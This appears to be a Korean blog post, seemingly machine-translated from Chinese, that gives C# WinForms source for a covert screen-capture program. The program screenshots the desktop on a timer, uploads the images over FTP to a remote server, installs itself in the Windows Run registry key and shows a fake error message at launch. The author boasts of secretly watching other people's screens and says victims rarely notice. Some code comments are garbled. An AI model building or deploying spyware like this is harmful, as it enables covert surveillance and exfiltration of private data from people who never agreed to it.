[애플릿] 실시간 캡처해서 서버에 올리기.

7215 단어 Asp.NetWinform
요 며칠은 마치 짠 물고기 같다.날씨가 너무 더워서 아무 일도 하기 싫어요.
이전의 사고방식에 따라 winform 백엔드 실시간 캡처 de 프로그램을 썼습니다. 이번 개선은 그림을 자신의 서버에 업로드할 수 있다는 것입니다.
남의 컴퓨터 de 화면 상황을 실시간으로 감시하고 켜서 켜고 켜면 백스테이지가 작동하는 셈이어서 보통 흰둥이도 알아채기 어렵다.hhh
몇 사람을 찾아서 시험해 보았는데 효과가 괜찮았고 QQ에 파일을 올릴 때 텐센트의 테스트 기회는 먼저 파일을 보는 것을 발견하였다
테스트 머신도 내 프로그램을 실행할 때 캡처되어 서버에 업로드되었는데 신대륙을 발견한 느낌이 들었다
코드도 많지 않으니 그냥 붙여 놓으세요.
public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        //       ,    ,        i, fzu0.png fzu1.png fzu2.png fzu(3%3).png fzu(4%3).png
        private static int i = 0;
        private Bitmap bitmap = null;
        private const string imgPath = "CutScreen.png";
        private const string CreateimgPath = "D:\\ggg\\img\\";
        private const string txtPath = @"CutScreenText.txt";

        private void Form1_Load(object sender, EventArgs e)
        {
            try
            {
                if (Directory.Exists(CreateimgPath) == false)
                    Directory.CreateDirectory(CreateimgPath);
            }catch{}
            StartUp("1");//    
            timer1.Start();
            MessageBox.Show("oh,         !", "    ", MessageBoxButtons.OK, MessageBoxIcon.Error);
        }

        private void btn_upload_Click(object sender, EventArgs e)
        {
            
        }
        /// 
        ///     
        /// 
        /// 
        /// 
        public void ExecCutScreen(string strName, int iVali)
        {
            bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics gp = Graphics.FromImage(bitmap);
            gp.CopyFromScreen(new Point(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y), new Point(0, 0), bitmap.Size, CopyPixelOperation.SourceCopy);
            try
            {
                string newImg = CreateimgPath + imgPath;
                //        ,      ,     
                if (File.Exists(newImg))
                {
                    File.Delete(newImg);
                }
                bitmap.Save(newImg, ImageFormat.Png);//       
                uploadFile(newImg, strName + ".png");
                //iVali    ,  iVali=0,              ,   iVali=1    timer    。
                if (iVali == 0)
                {
                    //MessageBox.Show("    !");
                }
            }
            catch(Exception ex) {
                //MessageBox.Show(ex.Message);
            }
            finally
            {
                gp.Dispose();
                bitmap.Dispose();
                //iVali    ,  iVali=0,              ,   iVali=1    timer    。
                if (iVali == 1)
                {
                    i++;
                }
            }
        }
        
        /// 
        ///        
        /// 
        /// 
        /// 
        public void uploadFile(string localPath, string strName)
        {
            Stream strm = null;
            FileStream fs = null;
            try
            {
                FileInfo fileInf = new FileInfo(localPath); //          
                //   ftp  +   
                string uri = @"ftp://1.1.1.1/Cut/" + strName;//        
                //    
                FtpWebRequest reqFTP;
                reqFTP = (FtpWebRequest)FtpWebRequest.Create(uri);
                reqFTP.UseBinary = true; //         
                reqFTP.Credentials = new NetworkCredential("ftpName", "ftpPwd"); // ftp      

                //    true,       
                //           
                reqFTP.KeepAlive = false;
                //         
                reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
                //               
                reqFTP.ContentLength = fileInf.Length;
                //       kb 
                int buffLength = 2048;
                byte[] buff = new byte[buffLength];
                int contentLen;
                //        (System.IO.FileStream)        
                fs = fileInf.OpenRead();
                //         
                strm = reqFTP.GetRequestStream();
                //        kb
                contentLen = fs.Read(buff, 0, buffLength);
                //        
                while (contentLen != 0)
                {
                    //     file stream   upload stream 
                    strm.Write(buff, 0, contentLen);
                    contentLen = fs.Read(buff, 0, buffLength);
                }
            }
            catch
            { }
            finally
            {
                //      
                strm.Close();
                fs.Close();
            }
        }
        int count = 0;
        string UserName = System.Environment.UserName;
        private void timer1_Tick(object sender, EventArgs e)
        {
            string time ="" +DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
            ExecCutScreen(UserName + "_" + time, 0);
            count++;
        }


        ///   
        ///               
        ///   
        /// 1:      
        private void StartUp(string flag)
        {
            try
            {
                string path = Application.StartupPath;
                string keyName = path.Substring(path.LastIndexOf("\\") + 1);
                Microsoft.Win32.RegistryKey Rkey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                if (flag.Equals("1"))
                {
                    if (Rkey == null)
                    {
                        Rkey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
                    }
                    Rkey.SetValue(keyName, path + @"\UploadImages.exe");
                }
                else
                {
                    if (Rkey != null)
                    {
                        Rkey.DeleteValue(keyName, false);
                    }
                }
            }
            catch
            {
            }
        }
    }

프로그램을 하나만 시작할 수 있습니다.
static class Program
    {
        private static System.Threading.Mutex mutex;
        /// 
        ///          。
        /// 
        [STAThread]
        static void Main()
        {


            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            mutex = new System.Threading.Mutex(true, "OnlyRun");
            if (mutex.WaitOne(0, false))
            {
                Application.Run(new Form1());
            }
            else
            {
                MessageBox.Show("         !", "    ", MessageBoxButtons.OK, MessageBoxIcon.Information);
                Application.Exit();
            }
        }
    }
효과 표시:
http://bfsdfs.com/UploadImgShow.aspx

좋은 웹페이지 즐겨찾기